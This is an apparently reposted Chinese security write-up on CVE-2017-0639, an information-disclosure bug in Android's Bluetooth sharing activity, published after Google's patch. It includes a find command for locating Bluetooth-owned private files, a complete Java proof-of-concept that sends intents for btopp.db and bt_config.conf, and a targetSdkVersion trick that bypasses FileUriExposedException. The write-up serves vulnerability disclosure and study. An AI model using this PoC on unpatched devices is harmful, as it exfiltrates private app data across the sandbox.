蓝牙App漏洞系列分析之二CVE-2017-0639

2019-04-04 约 825 字 预计阅读 4 分钟

声明:本文 【蓝牙App漏洞系列分析之二CVE-2017-0639】 由作者 heeeeen 于 2017-06-12 05:51:00 首发 先知社区 曾经 浏览数 4802 次

感谢 heeeeen 的辛苦付出!

作者:heeeeen@MS509Team

0x01 漏洞简介

Android本月的安全公告,修复了我们发现的另一个蓝牙App信息泄露漏洞,该漏洞允许攻击者获取 bluetooth用户所拥有的私有文件,绕过了将应用数据与其他应用隔离的操作系统防护功能。

漏洞信息如下:

  • CVE: CVE-2017-0639
  • BugID: A-35310991
  • 严重性: 高危
  • 漏洞类型: 信息泄露
  • Updated AOSP versions: 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2

0x02 漏洞缘起

在发现这个漏洞之前,我浏览了Android 2017年2月的安全公告,其中两个并排的高危信息泄露漏洞引起了我的注意:

  • CVE-2017-0420: AOSP邮件中的信息泄露漏洞
  • CVE-2017-0414: AOSP短信中的信息泄露漏洞

查看这两个信息漏洞的补丁注释,分别为

  • Don't allow file attachment from /data through GET_CONTENT
  • Thirdparty can
    attach private files from "/data/data/com.android.messaging/"
    directory to the messaging app。

涵义非常清晰,似乎邮件和短信App均遗漏了对发送的文件进行验证,本地攻击者可以添加App私有目录的数据文件发送出去,从而破坏了Android沙箱所提供的应用数据相互隔离的安全防护功能。

这两个漏洞可以归纳为一类针对具有对外发送或共享功能App的攻击,Android中会不会还有类似的功能具有类似的漏洞?另外,注意到上述两个漏洞的发现者并非一人,只是巧合地同时出现在2月份的安全公告之中,发现者似乎还没有意识到这类攻击的通用性,也许真的还没有搜刮干净?

0x03 攻击面——蓝牙的信息分享

除了短信、邮件,很容易想到蓝牙也是Android一个很重要的信息对外发送出口。通常,我们选择一个文件的分享按钮,选择蓝牙,就可以触发蓝牙的文件发送功能,这是通过蓝牙App暴露的BluetoothOppLauncherActivity所实现。该Activity根据传入的Intent.ACTION_SENDIntent.ACTION_SEND_MULTIPLE,启动一个线程处理单个文件或多个文件的对外发送。主要代码如下

/*
             * Other application is trying to share a file via Bluetooth,
             * probably Pictures, videos, or vCards. The Intent should contain
             * an EXTRA_STREAM with the data to attach.
             */
            if (action.equals(Intent.ACTION_SEND)) {
                // TODO: handle type == null case
                final String type = intent.getType();
                final Uri stream = (Uri)intent.getParcelableExtra(Intent.EXTRA_STREAM);
                CharSequence extra_text = intent.getCharSequenceExtra(Intent.EXTRA_TEXT);
                // If we get ACTION_SEND intent with EXTRA_STREAM, we'll use the
                // uri data;
                // If we get ACTION_SEND intent without EXTRA_STREAM, but with
                // EXTRA_TEXT, we will try send this TEXT out; Currently in
                // Browser, share one link goes to this case;
                if (stream != null && type != null) {
                    if (V) Log.v(TAG, "Get ACTION_SEND intent: Uri = " + stream + "; mimetype = "
                                + type);
                    // Save type/stream, will be used when adding transfer
                    // session to DB.
                    Thread t = new Thread(new Runnable() {
                        public void run() {
                            BluetoothOppManager.getInstance(BluetoothOppLauncherActivity.this)
                                .saveSendingFileInfo(type,stream.toString(), false);
                            //Done getting file info..Launch device picker and finish this activity
                                launchDevicePicker();
                                finish();
                            }
                        });
                        t.start();
                        return;
                    } else {
                        Log.w(TAG,"Error trying to do set text...File not created!");
                        finish();
                        return;
                    }
                } else {
                    Log.e(TAG, "type is null; or sending file URI is null");
                    finish();
                    return;
                }
            } else if (action.equals(Intent.ACTION_SEND_MULTIPLE)) {
                final String mimeType = intent.getType();
                final ArrayList<Uri> uris = intent.getParcelableArrayListExtra(Intent.EXTRA_STREAM);
                if (mimeType != null && uris != null) {
                    if (V) Log.v(TAG, "Get ACTION_SHARE_MULTIPLE intent: uris " + uris + "\n Type= "
                                + mimeType);
                    Thread t = new Thread(new Runnable() {
                        public void run() {
                            BluetoothOppManager.getInstance(BluetoothOppLauncherActivity.this)
                                .saveSendingFileInfo(mimeType,uris, false);
                            //Done getting file info..Launch device picker
                            //and finish this activity
                            launchDevicePicker();
                            finish();
                        }
                    });
                    t.start();

那么,传入蓝牙App私有数据试试!先寻找bluetooth所拥有的私有文件,

angler:/ # find /data -user bluetooth -exec ls -al {} \; 2>  /dev/null

可以选定两个bluetooth所拥有、有实质内容的文件作为发送对象,file:///data/user_de/0/com.android.bluetooth/databases/btopp.dbfile:///data/misc/bluedroid/bt_config.conf

很快可以写出PoC

public class MainActivity extends AppCompatActivity {
    Button m_btnSendPriv = null;
    Button m_btnSendMPriv = null;
    private final static String PRIV_FILE_URI1 = "file:///data/user_de/0/com.android.bluetooth/databases/btopp.db";
    private final static String PRIV_FILE_URI2 = "file:///data/misc/bluedroid/bt_config.conf";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        m_btnSendPriv = (Button)findViewById(R.id.send_private);
        m_btnSendPriv.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                Intent intent = new Intent(Intent.ACTION_SEND);
                intent.setType("text/plain");
                Uri uri = Uri.parse(PRIV_FILE_URI1);
                intent.putExtra(Intent.EXTRA_STREAM, uri);
                intent.setComponent(new ComponentName("com.android.bluetooth",
                     "com.android.bluetooth.opp.BluetoothOppLauncherActivity"));
                startActivity(intent);
            }
        });

        m_btnSendMPriv = (Button)findViewById(R.id.send_private_multiple);
        m_btnSendMPriv.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                Intent intent = new Intent(Intent.ACTION_SEND_MULTIPLE);
                intent.setType("text/plain");
                ArrayList<Uri> uris = new ArrayList<Uri>();
                uris.add(Uri.parse(PRIV_FILE_URI1));
                uris.add(Uri.parse(PRIV_FILE_URI2));
                intent.putExtra(Intent.EXTRA_STREAM, uris);
                intent.setComponent(new ComponentName("com.android.bluetooth",
                    "com.android.bluetooth.opp.BluetoothOppLauncherActivity"));
                startActivity(intent);

            }
        });
    }
}

0x04 进一步分析

真的那么简单吗?编译PoC,运行却抛出了安全异常!

--------- beginning of crash
06-12 10:32:43.930 16171 16171 E AndroidRuntime: FATAL EXCEPTION: main
06-12 10:32:43.930 16171 16171 E AndroidRuntime: Process: ms509.com.testaospbluetoothopplauncher, PID: 16171
06-12 10:32:43.930 16171 16171 E AndroidRuntime: android.os.FileUriExposedException: file:///data/user_de/0/com.android.bluetooth/databases/btopp.db exposed beyond app through ClipData.Item.getUri()
06-12 10:32:43.930 16171 16171 E AndroidRuntime:    at android.os.StrictMode.onFileUriExposed(StrictMode.java:1799)
06-12 10:32:43.930 16171 16171 E AndroidRuntime:    at android.net.Uri.checkFileUriExposed(Uri.java:2346)
06-12 10:32:43.930 16171 16171 E AndroidRuntime:    at android.content.ClipData.prepareToLeaveProcess(ClipData.java:832)
06-12 10:32:43.930 16171 16171 E AndroidRuntime:    at android.content.Intent.prepareToLeaveProcess(Intent.java:8909)
06-12 10:32:43.930 16171 16171 E AndroidRuntime:    at android.content.Intent.prepareToLeaveProcess(Intent.java:8894)
06-12 10:32:43.930 16171 16171 E AndroidRuntime:    at android.app.Instrumentation.execStartActivity(Instrumentation.java:1517)
06-12 10:32:43.930 16171 16171 E AndroidRuntime:    at android.app.Activity.startActivityForResult(Activity.java:4224)
06-12 10:32:43.930 16171 16171 E AndroidRuntime:    at android.support.v4.app.BaseFragmentActivityJB.startActivityForResult(BaseFragmentActivityJB.java:50)
06-12 10:32:43.930 16171 16171 E AndroidRuntime:    at android.support.v4.app.FragmentActivity.startActivityForResult(FragmentActivity.java:79)
06-12 10:32:43.930 16171 16171 E AndroidRuntime:    at android.app.Activity.startActivityForResult(Activity.java:4183)

原来触发了FileUriExposed错误,出于安全考虑,Android SDK 23以上就不能在Intent中传递file:// Uri,见官方说明:

对于面向 Android 7.0 的应用,Android 框架执行的 StrictMode API 政策禁止在您的应用外部公开 file:// URI。如果一项包含文件 URI 的 intent 离开您的应用,则应用出现故障,并出现 FileUriExposedException 异常。要在应用间共享文件,您应发送一项 content:// URI,并授予 URI 临时访问权限。进行此授权的最简单方式是使用 FileProvider 类。

似乎宣判了死刑!心有不甘,继续分析BluetoothOppLauncherActivity后面的文件处理流程,调用链为saveSendingFileInfo--> generateFileInfo,查看generateFileInfo函数,我们发现其实是支持传入file:// URI的。

public static BluetoothOppSendFileInfo generateFileInfo(Context context, Uri uri,
            String type) {
        ContentResolver contentResolver = context.getContentResolver();
        String scheme = uri.getScheme();
        String fileName = null;
        String contentType;
        long length = 0;
        // Support all Uri with "content" scheme
        // This will allow more 3rd party applications to share files via
        // bluetooth
        if ("content".equals(scheme)) {
            contentType = contentResolver.getType(uri);
            Cursor metadataCursor;
            try {
                metadataCursor = contentResolver.query(uri, new String[] {
                        OpenableColumns.DISPLAY_NAME, OpenableColumns.SIZE
                }, null, null, null);
            } catch (SQLiteException e) {
                // some content providers don't support the DISPLAY_NAME or SIZE columns
                metadataCursor = null;
            } catch (SecurityException e) {
                Log.e(TAG, "generateFileInfo: Permission error, could not access URI: " + uri);
                return SEND_FILE_INFO_ERROR;
            }

            if (metadataCursor != null) {
                try {
                    if (metadataCursor.moveToFirst()) {
                        fileName = metadataCursor.getString(
                                metadataCursor.getColumnIndex(OpenableColumns.DISPLAY_NAME));
                        length = metadataCursor.getLong(
                                metadataCursor.getColumnIndex(OpenableColumns.SIZE));
                        if (D) Log.d(TAG, "fileName = " + fileName + " length = " + length);
                    }
                } finally {
                    metadataCursor.close();
                }
            }
            if (fileName == null) {
                // use last segment of URI if DISPLAY_NAME query fails
                fileName = uri.getLastPathSegment();
            }
        } else if ("file".equals(scheme)) { // Notice!!!
            fileName = uri.getLastPathSegment();
            contentType = type;
            File f = new File(uri.getPath());
            length = f.length();
        } else {
            // currently don't accept other scheme
            return SEND_FILE_INFO_ERROR;

进一步查阅相关资料发现,原来FileUriExposed错误只是SDK引入的一项安全机制,仅仅是为了防止Intent的接收方访问发起方的私有文件。但是在我们这种攻击场景下,我们是要Intent的接收方BluetoothOppLauncherActivity访问其自己的私有文件,而且查看上述代码,既有对file:// URI的支持,也缺乏对文件是否属于私有目录的验证,Why not?

既然是SDK 23以后引入的安全机制,那么我们把build.gradle中的targetSdkVersion从原先的25改为23,重新编译运行,就可以将Bluetooth App的私有文件通过蓝牙发送出去,而这些文件原本连用户均无法获取,这就打破了Android沙箱的应用间数据隔离机制。至此,大功告成!

0x05 时间线

  • 2017.02.13: 提交Google
  • 2017.03.01: 漏洞确认,初始评级为高
  • 2017.06.05: 补丁发布
  • 2017.06.12: 漏洞公开

关键词:[‘技术文章’, ‘技术文章’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now